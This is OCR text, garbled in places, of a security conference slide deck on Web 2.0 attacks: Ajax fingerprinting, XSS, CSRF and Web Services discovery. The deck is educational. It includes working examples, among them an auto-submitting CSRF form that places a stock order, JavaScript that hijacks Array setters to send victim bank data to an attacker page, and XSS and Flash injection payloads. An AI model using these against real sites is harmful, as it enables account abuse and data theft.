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Web 2.0
Architecture, Changes

and Challenges
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Web 2.0 State

“e 80% of companies are investing in Web
Services as part of their Web 2.0 initiative
(McKinsey 2007 Global Survey)

By the end of 2007, 30 percent of large
companies have some kind of Web 2.0-based
business Initiative up and running.

(Gartner)

2008. Web Services or Service-Oriented
Architecture (SOA) would surge ahead.
(Gartner)
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Web 2.0 Application Layers

Browser Structures Protocols Server-Side

HTTP(S)
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Web 2.0 Security State

o Complex architecture and confusion
with technologies

= Web 2.0 worms and viruses — Sammy,
* Yammaner & Spaceflash

o Ajax and JavaScripts — Client side
attacks are on the rise (XSS/CSRF)

 Web Services attacks and exploitation

Flash clients are running with risks
Black Hat Briefings




Real Life Cases

WHID 2007-72: Gmail C5RF expln&ed to hijack a domain
Reported: 30 December 2007

R
LSS BT Bloteti e el 0\)(3 C WHID 2007-69: The Orkut XSS Worm
(

Classifications: Reported: 19 December 2007
Attack Metl‘&t\\ﬁ_@.‘rnss Site Request Forgery Occurred: 13 December EGG?

Count Classifications,. rOUQ

1] ran \ghud Cross Site Scripting (550
od! ad)ritgae

= Dutcnme: Defacernent \— ntey: USA

= Dutcome: Blackrail e e N
WHID 2006-41: Making money with MySpace bulletin system!
Reported: 24 Jufy 2008

Occurred: 18 June 2005 ‘()Oards WHID 2006-39: Another Google X588
Reported: 24 Jufy 2006

Classifications: .

Occurred: &4 July 2006

« Attack I'-Aﬁ:@gl Cross Site Scripting (X535 SS ‘eed
s Attack Method: abuse of Functionality Classifications: ‘f\

» Attack mnss Site Scripting (%S5
s Outcome: Dlsclnsure only

WHID 2006-37: MySpace Hack Spreading
Reported: 24 Jufy 2006

Occurred: IS fuly 2008 Or\ef\ts WHID 2006-1: Google's Blogger HES vulnerability

o ‘(\ cO Reported: 25 February 2006 e
CIasmﬂcatmnsF\aS . o Occurred: 02 January 2006 Sp\\t“ng
s Attack Method: Cross Site Scripting (=55)

on
= Dutcome: Worm Classifications: TTP RQSp

s Attack Method: HTTF Response Splitting
» Outcome: Disclosure Only

Source: The Web Hacking Incidents Database
[http://webappsec.org/projects/whid/]
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Web 2.0 Application Case

XSS in Ajax routine was discovered.

Blog is in fashion for Web 2.0 applications
and is having several XSS.

CSRF was possible through JSON stream.
(content-type check)

Information disclosure during JSON fuzzing
[Internal information].

SQL injection over XML pipe.
Logical bug from client side.
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Changes & Challenges

" Application Infrastructure

Changing dimension

Web 1.0

Web 2.0

(All) Protocols

HTTP & HTTPS

SOAP, XML-RPC, REST etc.
over HTTP & HTTPS

(Al2) Information
structures

HTML transfer

XML, JSON, JS Objects etc.

(Al3) Communication
methods

Synchronous
Postback
Refresh and Redirect

Asynchronous & Cross-
domains (proxy)

(Al4) Information
sharing

Single place information
(No urge for
integration)

Multiple sources (Urge for
integrated information
platform)
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Changes & Challenges

n .

e Security Threats
Changing dimension Web 1.0 Web 2.0
(T1) Entry points Structured Scattered and multiple

(T2) Dependencies Limited e Multiple technologies
e Information sources

¢ Protocols

(T3) Vulnerabilities | Server side [Typical o Web services [Payloads]
injections] e Client side [ XSS & XSRF]

(T4) Exploitation Server side exploitation Both server and client side
exploitation
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Changes & Challenges

 Methodology

Changing dimension Web 1.0 Web 2.0

Typical with "Host" and
DNS

Footprinting Empowered with search

Discovery Simple Difficult with hidden calls

= | Enumeration Structured Several streams

Scanning Structured and simple Difficult with extensive Ajax

Difficult with Ajax and web

Automated attacks Easy after discovery ervlees

On the server-side

[Difficult] Client-side with Ajax & Flash

Reverse engineering

Code reviews Focus on server-side only | Client-side analysis needed

.., Black Hat Briefings



Changes & Challenges

me Countermeasure

Changing dimension

Web 1.0

Web 2.0

Owner of
information

Single place

Multiple places [Mashups &
RSS]

Browser security

Simple DOM usage

Complex DOM usage

Validations

Server side

Client side [incoming
content]

Logic shift

Only on server

Client side shift

Secure coding

Structured and single place

Multiple places and
scattered

Black Hat
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Web 2.0
Fingerprinting & Discovery
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= Application Server Fingerprinting

 Identifying Web and Application servers.

* Forcing handlers to derive internal
plugin or application servers like Tomcat
or WebLogic.

* Looking for Axis or any other Web
Services container.

Gives overall idea about infrastructure.

.., Black Hat Briefings



Ajax/RIA call

o Asynchronous JavaScript and XML
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Ajax/RIA call

P cething Started [ Latestt Fle Edt View Help

Get Aax function getsjax()
Fot it {
Gl Ajax Proto GEIS e
if (window.XMLHtCpRequest) {

q http = new ZMLHttpRedquest (] :

Inspect  Clear  Profile telze if (window.lotiveXOkbhject)

http=new ActiveXOblject ("Msxml:z.XMLHTTP™):

| Cansole | HTML €55 ¢ i1f (! brep)d
[=I GET http:/flocalhost,/d= ¢ http=hnew AotiveXObject ("Microsoft.XMLHTTE™) :

Headers Response )

Got it! http.open ("ZET™, "./ajax.txt™, trues):
http.onreadystatechange = functioni()
1
if [(http.ready3tate == 4] {
rezponse = http.responzeText:
document .getElementEvId('main') . inherHTHL = response:

H
http.gendi(null) :
H
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Ajax/RIA call

¥ Source of: http:/ localhost/demos/ajax, ajax-call/ajax.html - Mozilla Firefox

et Adax
et ..":"L]'EX Proto File Edit Yew Help
ot it

<80
‘_ function getprotol) {
#‘ Inspect  Clear  Profile EE e T
war target = 'proto';
-IE““S le ] HTML 055  Scri wvar mykjax = new bLijax.Updater (target, url, {method: '‘get'}):
= GET http://localhost /demos,.

pt>
<a href="javascript:getproto|) ">Get Ajax Proto</href:
Got it ! <div id='proto'></div:
</bhody>
</html>

Headers Response

Black Hat Briefings




Fingerprinting

Ajax based frameworks and identifying
technologies.

Running with what?

— Atlas

— GWT {Scr;w Y P o e ey
— Etc.

Helps in identifying weakness of the
application layer.

Good idea on overall application usage.
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Fingerprinting

" Fingerprinting RIA components running
= with Flash.

= Atlas script discovery and hidden entry
* points identification.

_» Scanning for other frameworks.

Black Hat Briefings



RIA fingerprints

<object classid="clsid: D27 COBGE-AEGD-11cf-95B8-444553540000"
id="finder" width="100%" height="100%"
codebase="http: //fpdownload.macromedia. com/get/flashplayer/currant,
<param name="moavie" value="find.swf" /=
<param name="quality" value="high" /=
<param name="bgcolor" value="#5cE5f45" />
zparam name="allowScriptAccess" value="samebomain" /=
zembed src="find. swf" quality="high" bgcolor="#5c5f45"
width="100%" hejght="100%" name="finder" slign="mijddl="
play="trus"
loop="false" <object classid="clsid: D27CDBGE-AEGD-11cf-96B8-444553540000"
quality="high" id="finder" width="100%" height="100%"
allowScriptAccess="samabomain codebase="http: //fpdownload.macromedia.com/get/fashplayer/currer
type="application/x-shockwave-flash" param name="rmoyie" valye="search |z vlet=cwfilrr=aw 7"/
pluginspage="http: /fwww adobe.com/c  cparam name="guality" value="high" /=
</embed: <param name="bgcolor' value="#5cEf45" />
=/objects= <param name="allowScriptaAccess" value="sameDomain" /=
zembed src="finder" quality="high" bgcolor="#5c5f45"
width="100%" height="100%" name="finder" align="middle"
play="trus"
loop="false"
guality="high"
allowScriptaccess="samelbaomain"
type="application/«-shockwave-flash"
pluginspage="http: /fwww. adobe . com/go/getflashplayer":
</embed=
=/object>

Black Hat Briefings




Atlas framework discovery

. Please Login ¥ Source of: http:/ /localhost/atlas /trade.aspx - Mozilla Firefox
|| Fle Edit Wew Help
Username |shreers
Password [ Lagin | <script type="text/xml-script™>

<page xmlna:script="http://schemas.microsoft.com/Xxml-script/20057>
<references:>
. <add src="./trade.asmx/js" onscriptload="trade.path = '/fatlas/trade.asmx'" />
</references>
|| -#" Inspect  Clear  Profile <component? />
</ pager</script>
<soript type="text/javascript"s
I = POST http://localhost /atlas/trade.asmy?mn=logi </script>
</ Eorm:-

al

Tser 15 authenticated|

1Ennsule ] HTML ([55 Script DOM  Net

Params Headers Post Response

{"ua=zer": "shreeraj", "pass":"shreeraj"} |
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Discovery

Ajax running with various different structures.

Developers are adding various different calls
and methods for it.

JavaScript can talk with back end sources.

Mashups application talking with various
sources.

It has significant security impact.
JSON, Array, JS-Object etc.
|dentifying and Discovery of structures.
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Discovery

Ll
&‘ Inspect  Clear  Profile
| Console | HTML €SS Script DOM  Net

JSON

= GET http:/ /localhost /demos/ajax/ajax-struct /myjson.txt [57ms}

Headers Response

"lastMName": "Swith", "address":

"postalCode":

"Tokn",
v

{ "firstName":
Tork", "state":

"phoneunbers": [

"streetldddress": "Z1 zZnd Btreet", "city": "New

"Z1lE ?3z2-1234",

10021 ),
o Inspect

| Console | HTML €SS Script DOM  Net XML

Clear  Profile

"gdE 1E3-4L557" 1 }
el .
&‘ Inspeck  Clear  Profile

| Console | HTML €SS  Script DOM  Net ‘]S-SC“ pt

=l GET http:/ /localhost /demos,/ ajax/ajax-struct /profile.sml f#7ms}

Headers Response

=7xm]l wersion="1_.0" encoding="UTF-8"7:=

=profiler
=Zfirsthame>John</firstname>
Zlastname>fnith</lasthnamna=
“number-Zlz-675-329E< /rmanber =

= /profiler

- -

=l GET http:/localhost /demos,/ ajax/ajax-struct /js.txt [E2mst

Headers  Response

firstname="John";
lastrname="2Smith";
muamher="Z1Z-734-9080" ;

l fnsule ] HTML Eﬁpﬁmﬁleﬁcript DOM  Met JS E O bj e Ct

Inspect  Clear

1 A yy
[V) 7 \11

- o
v ct

| &. Inspect  Clear  Profile )’

|[ Console | HTML (€S5S Script DOM  Net

=l GET http://localhost /demos,/ ajax/ajax-struct /array.but [7Ems}
Headers Response

| new Array("John", "Smith" "Z1Z-486-F3E3")

= GET http://localhost /demos; ajax; ajax-struct,/js-object.ktxt (4 7ms}

Headers Response

profile = |
firstname : "John",
lastrname : "Swith",
rmber "ElE-E34-5758",
showfirstname :@ functioni){return this. firstname},
function () {return this. lastname},
funictioni) {return this. number},

showlasthname
showmmanber -

}i
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Web 2.0
Crawling
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Crawling challenges

o Dynamic page creation through
= JavaScript using Ajax.

= DOM events are managing the
* application layer.

_*» DOM is having clear context.

“« Protocol driven crawling Is not possible
without loading page in the browser.

Black Hat Briefings



Ajax driven site

Login | MNews | Your area | Profile

¥ Source of: http://localhost /demos,/crawl; - Mozilla Firefox

File Edit Yew Help

<!DOCTYPE himd DUBLIC "-//W3C/ DTD XHTML 1.0 Strict  EN™ "http:./  vwww. wi
<html mmlns="http://www. w3 . org/ 1999/ xhtml™ >

<head>

ctitlesDunapic =ites/title

<gsoript sro="./arc/master.js"r-</soripts

<soript type="text/javascript™ sreo="./srcfdojo.js" < soripts

<goript language="jsvascript™ srn=".fsrcfrss_xml_parser.js"><fsnript>
<gsoript langmage="javascript™ sro="./src/EZNLHTTFReq. j2"+</soript>

<goript> loadhtml EE </soript>
<div 1d="main'>< div: ]
5, function loadhtml()

<div id='myarea'></div> {
</hody> var htip:
if (window.EZNLHttpRegquest) {

{.-"ht:ml> http = new EMLHttpReguest():
telse if (window.ActiveXChject){

http=new ActiveXChject ("Msxml:z.XMLHTTP");

if (! http){
http=new ActiveXdbject ("Microsoft.XMLHTTE"):

= GET http:/ /localhost /demos/crawl/mainhtml (71msf

}
Headers Response '

http.open("GET", "main.html", true):
href= ",-’lngin. asp "}Lcugin-:,-‘a}&nhsp; | En.hSp; http.onreadystatechange = functionf()
{
—na ; . " . R
href="jawvascript: getnews () "=News</ a~anbsp; | anbsp; if (http.readyState == 4] {
href="Jjawascript:loadmyareai) ">Your area</a>anbsp; |anbsp; G var response = http.responseText;

href="javascript:getprofile () ">Profile<Sax> } document . getElementById('main') . innerHTHL = response;

}
http.sendi{null);
i
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Crawling with Ruby/Watir

require 'watir' =
. include \Watir

le=IE.new

ie.goto{"http:// localhost/demos/ cravl/ ")

ie.show_links

T=ATa1%] =) Wsllla'Q| - Command Prompt

2. show_links
ie.links[2].click D-\scanwehE.E}cPaw}.rh

: . index name id href

ie.show_links text/src

ie.links[4].click http:=-slocalhost-login.asp
. . Login

ie.show_links Javascript igetnews{)

Meuws

Javascript = loadmyaread?
Your area

Javascriptigetprofile ()
Profile

id href

textssrc

http:--slocalhost-login.asp
Login

Javascript igetnews{)
Mews

Javascript: loadmyaread?
Your area

Profile
index name id
textssrec
1 t/7localhost/login.as

Javascript getprofiled)

.., Black Hat Briefings



Web 2.0
Scanning & Vulnerabillities
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Cross Site Scripting (XSS)

" Traditional
— Persistent
= — Non-persistent

"« DOM driven XSS — Relatively new

« Eval + DOM = Combinational XSS with
Web 2.0 applications

Black Hat Briefings



Cross Site Scripting (XSS)

“e What is different?

— Ajax calls get the stream.

= —Injectinto current DOM using eval() or any
a other means.

— May rewrite content using document.write
or innerHTML calls.

— Source of stream can be un-trusted.
— Cross Domain calls are very common.

Black Hat Briefings



= Addressing Cross Domain Calls

"« Cross Domain calls are very important
= for Web 2.0 applications.

— Proxy to talk with cross domain

: — Callback implementation to fetch them
— Flash via crossdomain.xml

 These are types of bypass and can
have security implications

= ¢ Source of the information — key!

Black Hat Briefings



Cross Domain with proxy

John
Strith
212732-1234

#‘ Inspect  Clear Profile
| Console | HTML €SS Script  DOM  Net
=l GET http:/ /localhost/demos sdom/

Params Headers Response

{ "firstName": "John", "lastName": "Swmith", "address": { "streetlddress": "Z1 End Street", "city": "New
Tork", "state": "NY", "postalCode": 100EZ1 }, "phoneMumbers": [ "Z1E 73Z-1234", "&46 1E3-4567" ] }

9 Source of: http:/ /localhost/demos, sdom, showprofile-ajax.html - Mozilla Firefox - |EI|5|

File Edit iew Help
function getJ30Nprofile() ;I
i

war http:
if (window.XMLHCtpRequest) {
http = new XMLHttpRecuest():;
telse if [(window. ictiveXObiject) {
http=new ActiveXObject ("Msxml:s.XMLHTTPF™):
if ! http)d{
http=new ALetiveXObhiject ("Microsoft.XMLHTTER™)

'

http.open("GET"™, "./proxyv.aspx?url=http://blog.example.orgfclazs/ajax-struct/m__
http.onreadystatechange = functioni()

{
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Callback Implementation

Tack
jacki@example com

£9 Source of: http:/ /localhost;demos /rdom/showprofile.html - Mozilla Firefox

File Edit Wew Help

<soript>

function profileCallbackiresult)] 1
document .. write (result.profile[0] . namwe) ;
document .. write ("<hr>");
document . write (result.profile[0] .email) ;

gsoript sro="http://blog.example.orgfclass/ x—dom/ Getprofile, htinl *cal lback=profileCallbacksid=10"

» Portals like yahoo and google are supporting this.
* Possible to bypass the SOP and make Cross Domain Calls
e Security at stake [Browser layer]

Black Hat Briefings



Scenario

Vulnerable stream coming
hrough proxy

Posting to the site
[Malicious code]

E—%
£

- Black |l.... driefings




XSS with JSON stream

John <html>
<hody>

212732-1234 <goript sro="

<a href="jp > " . —_ - .
. “¥Source of: http:/ /demos.com;/demos,; xss/lib.js - Mozilla Firefox
</hody>

</html> File Edit View Help

if (! http){
http=new ActiveXlhiect ("Microsoft.XMLHTTP"™) ;

'

http.open("GET"™, "./myjson.txt™, true);

http.onreadystatechange = functioni)

{

if (http.ready3tate == 4} {
war response = http.responseText;

|LME3;Cd4? var p = eval ("(" + response + ") ")
* document .openl) ;
“3* Inspect  Clear  Profile document .write (p.firstName+"<hr>") ;
l[unsmel HTML ©[S5 Script document .. write (p. lastName+"<br>") ;
document . write (p.phonelNumbers[0] ) ;
document ..close () ;

=l GET http://localhost/demos; xss

Headers Response |

{ "firstMName": "John", "lastMName": "<script=ralert('HEE Z.0');</script=", "address": { "streetiddress"

"Z1l Znd Street", "city": "MNew York", "state": "NY", "postalCode": 10021 }, "phoneMumbers": [ "Z1zZ 732-1234"

"gdE 123-4567" 1 }

-
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XSS with RIA

u . . . .
« Applications running with Flash
n
components
= getURL — injection is possible
u Attack Configuration Window
« SWFIntruder
I hitp /st tack erixss 5wt NAME]
e Flasm/Flare oo

I_ "=<img src="asfunction:get URL jawascript.got Root["|NAME|" W jpg’ 7d==

(http://WWW. nowrap.de/) [ igotRoct"nAME|")

I_ asfunction:get URL jawascript:got Root[ " |MAME]" Wid . jpg




Scanning for XSS

Scanning Ajax components

Retrieving all JS include files
— Part of <SCRIPT SRC=....>

ldentifying XHR calls
Grabbing function
Mapping function to DOM event

Scanning code for XSS — look for eval()
and document.write()
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Ajax serialization issues

o Ajax processing various information
= coming from server and third party
sources. — XSS opportunities

message = {
from : "john@example.com,
to - “jerry@victim.com",
subject : "1 am fine",
body : "Long message here",
showsubject :
function(){document.write(this.subject)}

ti /

/

XSS

Black Hat Briefings



Ajax serialization issues

"o JSON issues

{"'bookmarks" : [{"Link":"www.example.com","
esc'':"Interesting link"}]}

.o JS— Array manipulation

new Array(““Laptop”, “Thinkpad”, “T60’,
“Used™”, “900%”, “It 1s great and I have
used 1t for 2 years”)

Black Hat Briefings




XSS and JS Exploitation

o JavaScript exploitation — XSS
.. ldentifying DOM points like

= document.write()

"« Eval() — another interesting point

« » Attack APIs / BeEF tools for exploitation

"« Lot can be done by an attacker from
session hijacking to key loggers

Black Hat Briefings



Countermeasures

Client side code audit is required.

XHR calls and DOM utilization needs to be
analyzed.

Content from un-trusted information sources
should be filtered out at proxy layer.

Cross Domain Callback — careful.

Browser side content validation before
consuming into DOM.

Black Hat Briefings



Cross Site Request Forgery
(CSRF)

Generic CSRF is with GET / POST

Forcefully sending request to the target
application with cookie replay

Leveraging tags like
— IMG

— SCRIPT

— IFRAME

Not abide by SOP or Cross Domain is
possible

Black Hat Briefings



Cross Site Request Forgery
(CSRF)

nat Is different with Web 2.0
S it possible to do CSRF to XML stream
How?

t will be POST hitting the XML processing
resources like Web Services

— JSON CSREF is also possible

— Interesting check to make against
application and Web 2.0 resources

Black Hat Briefings



One Way CSRF Scenario

( Login request Authentication
’ . Server
Laptop < Authentication | Cookie | T

Application
Uzser

Applicatin

Black Hat Briefings



Authentication
Server
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One Way CSRF Scenario

Altacker's
Site

Authentication

Application
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Attacker's
Site

' | Forced browsa raquest (XML} >

Laptop
Application

Uzer

Application

Black Hat Briefings
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One-Way CSRF

Please Login
|

Username |shreerg

Password [ Login |

] TTzer 17 authenticated!

# Inspect  Clear  Profile
Console J HTML (55 Script DOM  Net
L post http:/ /localhost/atlas/trade.asmx?mn=login [ ¥ 5ms}

Params Headers Post R
| Enter your order

"Uzer i=s authenticated!"
symbol MSFT (=
Juantity] 20

Order is placed!

-#*' Inspect  Clear  Profile
Console J HTML (55 Script DOM Net
=/ POST http://localhost/smirpc/trade.rem {Fims}

Headers Post Response

=7iml wersion="1_0"?:<methodCall><methodNames=stocks buy< /methodNamnes<parans><paran><valus><string=M3FT
=/ string== fralues= paranr<paran=><raluer<double=>Z0< /double=« fralue>= /paran>= parans== methodCal 1>
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One-Way CSRF

<html|>
<body>

<FORM NAME="buy" ENCTYPE="text/plain"
action="http://trade.example.com/xmirpc/trade.rem"
METHOD="POST">

<input type="hidden" name='<?xml version’
value="'1.0"?><methodCall><methodName>stocks.buy</metho
dName><params><param><value><string>MSFT</string></val
ue></param><param><value><double>26</double></value></p
aram></params></methodCall>'>

</FORM>
<script>document.buy.submit();</script>
</body>

</html>
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Forcing XML

o Splitting XML stream in the form.
“ » Possible through XForms as well.

= Similar technigues is applicable to
° JSON as well.
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Two-Way CSRF

o One-Way — Just making forceful
" request.

® TWO'Way
° —Reading the data coming from the target

— May be getting hold onto important
iInformation — profile, statements, numbers
etc.

— Is it possible with JSON/XML

Black Hat Briefings



Two-Way CSRF

Authentication

’ | Forced browsa requast (XML} > : . Server

Laptop
Application

User

Application
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Two-Way CSRF

T IOIl AL ray Ll 1

wvar obhlj = this:

wvar index = 0O;
for(j=0:3<4:3++) 1

ob]j[index++] sSetter = zpoof:

B

B

function spoofix){
sendi(x.Col3tring ()]

B

</soriptr

<gsoript sro="http://hank.example.org/profile.aspr™>
Welcome to our auction portal!
</hody>

</html>

Welcome to our auction portall

# Inspect  Clear  Profile |
1Eunsule ] HTML 55 Script DDM  HNek

GET http:/ /localhost/demos/®srf/collect.aspr?data=ACT 789023452 (767 5ms]
GET http://localhost/demos/xsrf/collect.aspri?data=Rob [F5=5ms}

GET http:/ /localhost/demos/®srf/collect.aspr?data=Smith {757 5ms7

GET http://localhost/demos /xsrf/collect.aspr?data=rob@example.com {752 5ms}
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Two-Way CSRF

« Application Is serving various streams
like — JSON, JS-Object, Array etc.

{? - :V} - @ X m || http:jibank. example.org/profile, aspsx

["ACTIER023452" "Bob”,"Srmith", "robi@lexample. com”]
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Two-Way CSRF

"o Attacker page can make cross domain
= request using SCRIPT (firefox)

Following code can overload the array
stream.

function Array()

{ var obj = this; var index = 0; for(j=0;j<4;j++){
obj[index++] setter = spoof; } } function spoof(x){
send(x.toString()); }
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Two-Way CSRF

<head></head>
<hody>
<soript:
function send(data)
i
war http;
if (window.XMLHttpRequest) |
http = new XMLHttpRegquest () :
telse if [(window. ActiveXCOhject) {
http=new ActiveXohject ("Mswwl:z.EXMLHTTP™) :
if (! http){
hetp=new ActiveXohject ("Microsoft.XMLHTTF™) :

i

http.open ("GET™, "./collect.aspx?data="+data, true):
http.zend (null) :
i

function Arravi)]

var ohj = this:

var index = 0O;

for (j=0;3<4;J++) 1

obj[index++] =setter = =spoof:

i

i

function spoof (x) {
send(x.tCol3tring() ) ;

i

</soript>

<goript sre="http://hank.example.org/profile.aspx™s>
Welcoms to our auction portal!
</body>
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Two-Way CSRF

e ltis possible to overload these objects.

“ » Reading and sending to cross domain
= possible.

“» Opens up two way channel for an
attacker.

"« Web 2.0 streams are vulnerable to
these attacks.
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Countermeasure

" Server Side Checks
— Check for client’s content-type.

— XHR calls — xml/application.
— Native calls — text/html.
— Filtering Is possible on it.

e Client Side Checks

— Stream can be started and terminated by /* or any
predefined characters.

— Client can remove them before injecting to DOM.
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Web 2.0
Components Security
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Web 2.0 Components

"e There are various other components for
Web 2.0 Applications

. —RSS feeds
®* — Mashups
— Widgets
— Blogs
— Flash based components
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RSS feeds

“e RSS feeds coming into application from
= various un-trusted sources.

_+» Feed readers are part of 2.0

Applications.
* Vulnerable to XSS.

n-e Malicious code can be executed on the
browser.

e Several vulnerabillities reported.
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RS5S feeds(MNews)

RSS feeds

| Fick your feed j

<dir align="center™:
<gelect id="1bFeed=s" onChange="get rs=z feed():" name="lbFeedzs">

<option
<option
<option
<option
</zelect>

ralue="">FPick your feed</option:>

ralue="proxy.aspx®url=http://rss.cnn. con/rss/ocnn topstories.rss">CHN business
ralue="proxy.aspx?url=http://asp.usatoday. com/marketing/rss/rastrans.aspx ?fee
ralue="proxy.aspx?url=http://rssnews.example. org/rss/nevs. xml">Trade newsz</op

<input id="chDetails" type="hidden" onCliek='format ("content™, last xml response) ;'

R5S feeds(News)

| Trade news

Interesting news item

-
._J function processRE3 [(divname, response)

war html = "";
war doc = response.documentElement:
var items = doc.getElementsByTaghsme('item')
for (var i=0; i < items.length; i++) {
var title = itemza[i] .getElementsEyTagName ('title') [0]
wvar link = itews[i] .getElementsByTagame (' link') [0];
html += "<a style='text-decoration:none' class='stcylelZ!

SINERE The page at http://localhost says: + link.firstChild.data

BeliSout [/ S

P
+ title.firscChild.data
+ "<fa><bre<br:";

}

wvar target = document.getElementByIdidivname)

Crooks k

carget. inherHTHL = html;

Open 5
Series Special
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Mashups

APl exposure for Mashup supplier
application.

Cross Domain access by callback may cause
a security breach.

Confidential information sharing with Mashup
application handling needs to be checked —
storing password and sending it across (SSL)

Mashup application can be man in the middle
SO can’t trust or must be trusted one.
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Widgets/Gadgets

DOM sharing model can cause many
security iIssues.

_» One widget can change information on
= another widget — possible.

CSRF Injection through widget code.

Event hijacking is possible — Common
DOM

IFrame — for widget is a MUST
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Blogs

Blogs are common to Web 2.0
applications.

Many applications are plugging third
party blogs

One needs to check these blogs — XSS
IS common with blogging applications.

Exceptions and Search are common
XSS points.
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SOA and Web Services
- Backbone for Web 2.0
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SOA Stack

= 4_>- OF
- !
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Scanning SOA

Blackbox Whitebox

Countermeasure
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Footprinting and Discovery

E Objective: Discovering Web Services running
on application domain.

=" Methods

— Primary discovery
e Crawling and spidering
« Script analysis and page scrubbing
» Traffic analysis

— Secondary discovery
« Search engine queries
« UDDI scanning

. Black Hat Briefings



Primary Discovery

e Crawling the application and mapping file
extensions and directory structures, like
f.asmx”

Page scrubbing — scanning for paths and
resources in the pages, like atlas back end
call to Web Services.

Recording traffic while browsing and
spidering, look for XML based traffic — leads
to XML-RPC, REST, SOAP, JSON calls.
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Il - . __'_ L...n... g
aS

Click & type page narne el Rl

¥ weather

Mew Delhi, India

Wedrnesday Thursdaw Fridary Saturd.

a0 Qg 59® IR 89° 6l
Clear Sunny Sunney aunns

¢+ Command Prompk

Getting from page

= ~/pageflakes/pageflakes_files

— PR —————— + 1 Administrators Mone
—PuH—————— + 1 Adminisztratorszs Mone

1972 Oct 31 192:52 iFrame.js
21414 Oct 31 19:52 wechin.js

4 egrep —ho "/ .®7 _.asmx" ®*.js
FlakesEventsMap-EventzsMapService.asmx
AAddressBooklS (. asmx
SAlertService.asmx
SAContentProxy.asmx
SCoreServices ..asmx
sDataServices ..asmx
SDictionarylls.asmx
AGmailFlakellS . asmx

SQuotedf Daylls . asmx
SRESServices .asmx
AToDoListUWS .asmx
AAddContentls . asmx

D:zshlueinfy—toolssscanwebhZ _BXurlgrep http-rssajax.example.comsatlas trade.aspx l

———Scanning for scripts——

http:-~-~ajax_.example .comsatlas uws.js=

satlas WebRezource .axd?d=z_37wunISUURHe Egbba?7Ef rHARuRgORuTBhZ_kmDil Emf 8 X USHhuQZOW
gqIlkyoplof ZRLHu?18f wsHaJ1Guif 151 0gBQZ6 1WMxf Sme Gt Bub DBl &t =6328242996 200000600
satlas WebRezource .axd?d=z_37wunISUURHe Egbba7Ef rHARuRgORuTBhZ_kmDil Emf 85 USHhuQZOW
gqIlkyoplof ZRLHu?18f wsHaJ1Guif IS9D?GZBJakxigbgEFMEMiLgl &t =6328242996 20000060

——Enumerating javascripts——
http:--~ ajax.example .comsatlassws.Jjs
[11http: 7ajax.exampls .comsat las trade.asmx
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Primary Discovery

.'- Page scanning with grep — Look In
JavaScripts for URLSs, Paths etc.
= Crawling — Simple!
" Scanning for Atlas references —

Framework creates stubs and proxy. —
scanweb2.0/scanatlas

e Urlgrep can be used as well.
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Secondary Discovery

" Searching UDDI server for Web Services
= running on particular domain.

— Three tactics for it — business, services or tModel.

:- Running gueries against search engines like
Google or MSN with extra directives like
“Inurl” or “filetype”

— Look for *asmx”

s WsScanner — Discovery!
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= Fetching from search engines

wsSCcanner

GoogleDiscovery |"-.r"u|neral:uility5|:an| 'W'SFuzzerI LIDDIS-:anI
— Google AP Eey

F.ey I

—*w'eb Services Fetching
] l:IITIEliI"I."IPIttETFI Iamazgn_ CDITJ

Type IDI:IITIEIiI"I j Faatprint

— Fesults

Searching for amazon. com

Total results: 5

httpe A webzervices. amazon. comdWwS E Commerces ervice/AWSE CommerceS ervice, wadl

httpe /Y snap. amazon. come schemasaddmazonysy ebS ervices, wedl

http: // soap. amazon. comdzchemas2abmazontwebs ervices, wad|

httpe A webzervices amazon. comddia'S E Commerces ervice/ 2005-03-23/15 AAWSE Commerces ervice, wad|
httpg:/ fhotifications. amazon, com,doc 2007 -01 -1 6/ ventM atificationS ervice, wadl
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Enumerating and Profiling
e Fingerprinting .Net framework and Client
" side technologies — Dojo or Atlas ...

" Scanning WSDL

= — Looking for Methods

— Collecting In/Out parameters
— Security implementations

— Binding points

— Method signature mapping
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|
| Ll
4 |

= Profiling / Invoking - Services

wsScanner

GoogleDiscovery  YulnerabilityScan |'W'5Fuzzer| UDDIScanl

WS Access Point

WSDLEndPaint g /192,168 36 5/ws/ dvdsdless. asms Pws

WSEnUm | wSFrauy ¢ WSAudit (NET) |
WSDL

TR PR
L3 SRUBNCE:
<zelement mindocurs="0" masdoours="1" name="uszer
zelement mindoourz="0" max0coure="1" name="paz;
e requences
<z complexT ppes
<z element>
<z element name=""get5 ecuntyT okenB esponze’s
<z ocomplexT ypes
<3 EEOUENCES
<z element mindcours="0" max0ccurs="1" names="get5
L/ sequenceEr
</scomplexTypes:

Analysis

- Web Services Profile ---
[Methiod] Intro

[Input]

[Cutput] ztring

[Methiod] getProductinfo
[Input] tring id

[Cutput] ztring

[Method] getR ebatezlnfo
[Input] ztring fileinfo
[Output] ztring

[Method] getSecurnityToken
[Input] zting uzername, zting paszsword

wsScanner

GoogleDiscovery  WulnerabiliyS can |W'5Fuzzer| UDDIScanI

=0l

WS Access Point

WSDL End Point i /132 168,35 5/ws/ddsless. asmyPwsd] GET

WSErum WS Proxy SwSaudit [MET) |

—Prosy
Listening Port IEISSEI LLister | hdethod |getProductinfa j Invoke |
S0AP Request

Content-Type: text/sml; charset=utf-8
S0APACtion: "hitp: A termpuri. org/getProduct nio"
Host: 192.168.36.5

Content-Length: 317

Expect: 100-continue

Connection: Keep-live

<Ml version="1.0" encoding="utf-8"?> < zoap Envelope xming: soap="http: //schemas. smlzoap. org/ soap/envelope"'
urnling: wsi="http: A w3, org/ 2007 <ML chema-ingtance" smingxed="http:/ A, w3.org /2001 S<MLS chema'>
<zoap:Bodyr <getProductinfo smins="http:/ Mempuri.org's <id> 1</id> < /getProductinfor < /s0ap:Bodys </z0ap Envelopes

<]

Reset Froperties Audit

MHate ”WSF’rDH_I,J ”WS!—\udit

S0AP Fesponse

HataphetVerzsion: 2050727
Cache-Control: private, mas-age=0
Content-Type: test/sml; charsst=utf-2
Content-Length: 394

<l version="1.0" encoding="utf-8"7: ¢ zoap Envelope xming soap="http: //schemas. smlzoap. org/ soap/envelope"'
urnling: wsi=""http: A w3, org/ 2007 ZMLS chema-ingtance” smingxed="http:/ Aen, w3.o0rg /2000 SMLS chema's
<g0ap;Bodys < getProductinfoR ezponze sming="http:/empuri.org's < getProductinfoR esult: A1 Finding Memao($14.99)¢
< /getProductinfoR ezult: < /aetProduct nfoR esponges < /zo0ap: Bodys < /z0ap: Envelope

[ [ —
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Scanning strategies

Manual invocation and response analysis.
* » Dynamic proxy creation and scanning.
*« Auto auditing for various vectors.

« Fuzzing Web Services streams — XML or JSON

Response analysis is the key
Look for fault code nodes
Enumerating fault strings
Dissecting XML message and finding bits
Hidden error messages in JSON
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Injecting fault

